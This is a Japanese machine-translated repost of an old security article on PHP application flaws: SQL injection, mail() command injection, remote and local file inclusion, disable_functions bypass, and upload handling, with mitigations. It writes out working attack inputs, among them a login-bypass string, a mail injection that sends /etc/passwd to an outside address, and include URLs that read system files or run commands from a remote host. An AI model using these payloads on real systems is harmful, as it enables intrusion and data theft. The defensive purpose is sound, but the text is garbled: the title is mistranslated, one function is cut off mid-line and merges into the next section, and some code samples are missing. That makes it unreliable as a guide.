ホームページ > php教程 > php手册 > PHPセキュリティドッグテール 続ミンク(譲渡)

PHPセキュリティドッグテール 続ミンク(譲渡)

WBOY
リリース: 2016-06-21 09:11:12
オリジナル
1207 人が閲覧しました

安全性

原文: san (Xiao Xu)
出典: http://www.xfocus.org

Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
之狗头続Mintle

by san@netguard.com.cn

Shaun Clowes 「PHP アプリケーションの一般的な脆弱性の悪用」という記事は、実際に非常によく書かれており、多くの側面を考慮しています。この記事は記事の続きであり、あまり言及されていないいくつかの問題を追加しています。この記事は、
攻撃ではなく、問題解決に焦点を当てています。

1. 古代の欺瞞的な SQL ステートメント
デフォルトモードでは、php.ini を /usr/local/lib/php.ini にコピーするのを忘れたとしても、php は依然として magic_quotes_gpc=on をオンにします。
このようにして、GET/POST/Cookie からの変数のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ () およびヌル文字 NUL
(ヌル バイト) にバックスラッシュが追加されます。
ただし、php-4-RC2 が設定ファイル php.ini-optimized を導入すると、この最適化された php.ini が
magic_quotes_gpc=off になる場合があります。
/usr/local/lib/php.ini にコピーします。これは、現時点ではより危険です。必要な文字がフィルタされていないと仮定すると、次のようになります。
select * from login where user=' $HTTP_POST_VARS[user] ' and pass='$HTTP_POST_VARS[pass]'
ユーザー ボックスとパスワード ボックスに 1' または 1='1 を入力すると、検証に合格できます。これは非常に古い方法で、このステートメントは
次のように置き換えられます。
select * from login where user='1' or 1='1' and pass='1' or 1='1'
or 1='1' が true なので、解決するのが最善の方法です。不要な文字をすべて除外する GET/POST/Cookie から取得され、SQL で使用される変数にカスタム関数を追加することもお勧めします。
function gpc2sql($str) {
if( get_magic_quotes_gpc()==1) PHP-4.0.5のパラメーターは、5番目のパラメーターを導入しました。コマンドの実行に関する問題:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
これには問題があります。$SERVER_NAME=;mail san@xfocus.org < /etc/passwd の場合、マシンのパスワードが私のメールボックスに送信されます。
ここで注意してください。PHP マニュアルにはセキュリティ上の問題のある例がいくつかありますが、実際に使用する場合は、その関数の基本的な機能を説明しているだけなので、それを理解してください。
メール関数のこの問題に対して、最も簡単な方法は、第 5 引数を使用しないことです。使用したい場合は、(;) などの不正な文字をフィルターし、メール関数のプログラム ext/standard/mail.c を変更するだけです。
php ソース コード パッケージ。 if (extra_cmd != NULL) { の前に次の行を追加します。
extra_cmd=NULL
その後、再コンパイルします。

3. UNIX バージョンの require 関数と include 関数
win バージョンの require 関数と include 関数は HTTP および FTP リモート ファイルのインクルードをサポートしませんが、UNIX バージョンはデフォルトでリモート インクルード ファイルをサポートします。
require と include は、どのような拡張子を持っていても、含まれている場合はプログラムの一部として実行されます。
プログラムを作成するとき、プログラムのモジュール化と移植性を高めるために、必然的に多くの require 関数や include 関数を使用します。
また、次のような変数がパラメーターとして使用されることもあります。現時点では、ユーザーは $something パラメータを制御できますが、この
パラメータはフィルタリングされていません。これは悲惨なことです。
まず、Web ユーザーが読み取り権限を持つファイルを表示できます。プログラムの名前が http://victim/test.php であるとすると、次の
URL: http://victim/test.php を使用できます。 ?something=/etc /passwd /etc/passwd ファイルを参照してください。
さらに、リモート ファイルに含まれる関数を使用してコマンドを実行することもできます。たとえば、www.xfocus.org の下にファイル test.php を作成し、その内容が
である場合、次の URL を使用できます:
http://victim/ test.php?something=http://www.xfocus.org/test.php?cmd=uname これにより、任意のコマンドを実行できます。
この問題は phpMyAdmin でも発生します。phpMyAdmin を使用して、見たいファイルを表示できます。ただし、 include する前に、まず file_exist
関数を使用してファイルが存在するかどうかを判断します。この file_exist はリモート ファイルをサポートしていないため、上記の 2 番目の方法を直接使用することはできません。ただし、Apache のログ機能を使用して、PHP コードで URL をリクエストすることもできます。このように、Apache として指定されたもののログでもコマンドを実行できます。ただし、Apache のログは通常、比較的多くの情報を含んでいます。 。
http://www.securereality.com.au/sradv00008.txt で説明されている方法は、より賢明です。ファイル アップロードを使用して、ローカルの
コマンド実行スクリプトをアップロードします。これにより、サーバーの一時ファイル アップロード ディレクトリに php8Ta02I などが生成されます。この時点ではファイルが存在するため、file_exist関数によりアップロードされたファイル内の実行スクリプトを実行することができます。

そのため、include 関数と require 関数を使用するときは、特にインクルードされるファイルがパラメーターで指定されている場合、ユーザーがパラメーターを制御してはいけないことに注意する必要があります。 php.ini ファイルを変更して、リモート ファイルの組み込みを削除する機能もあります。これは php-4.0.3 より前では
disable-url-fopen-wrapper とともに使用されていました。それ以降のバージョンでは、allow_url_fopen = off を使用してオフにします。

4. disable_function
php-4.0.1 では、関数 disable_functions が php.ini に導入され、より便利で、いくつかの機能を無効にするために使用できます。
たとえば、disable_functions = passthru exec system Popen を php.ini に追加すると、これらの関数を実行するときに、
警告: system() はセキュリティ上の理由から無効になっています
ああ、しかし実行できないわけではありません。システムコマンド。たとえば、PHP は多くの Perl 機能を使用するため、(`) を使用してコマンドを実行することもできます。
echo "

$output
";
?>
これは、safe_mode に設定することによってのみ回避できますが、忌まわしいsafe_mode は制限が厳しすぎるため、他のことを行うときに少し妨げられます。


5. ファイルのアップロード
php ファイルのアップロードの問題は、http://www.securereality.com.au/sradv00001.html の記事で明確に説明されています。
これは実際に深刻な問題です。アップロードされたファイルは Web ディレクトリにも配置されるため、攻撃者はシステムの一部の Web ユーザーが読み取れるファイルを簡単に入手できます。
ありがたいことに、is_uploaded_file 関数と move_uploaded_file 関数は php-4.0.3 以降で提供されています。したがって、php-4.0.3 以降でファイルをアップロードするプログラムはコピー機能を使用せず、代わりに move_uploaded_file を使用してください。アップロードされたファイルかどうかがチェックされます。 php-4.0.2
以下の場合は、コピー前に関数を追加することをお勧めします:
function is_uploaded_file($filename) {
if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
$tmp_file = dirname (tempnam ('', ''));
$tmp_file.='/'.basename($filename);
/* ユーザーの php.ini の末尾にスラッシュがある可能性があります... */
return (ereg_replace( '/ +', '/', $tmp_file) == $filename);
}

この脆弱性は長い間セキュリティの焦点となっていましたが、コピーする前に多くの検証と判断ステートメントが存在します。かなりの攻撃力があり、印象的です。


また、環境変数、Cookie変数、セッション変数などは、偽造が容易なため、生死の判定条件としては絶対に使用しないでください。
はは、私は手元にたくさんのことを考えているので、他の同志も自由に追加および修正することを歓迎します。

参考資料
1. PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2. Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
(http://www.securereality . com.au/studyinscarlet.txt) と分析の翻訳。
3. phpMyAdmin および phpPgAdmin のリモート コマンド実行の脆弱性
(http://www.securereality.com.au/sradv00008.txt)






関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート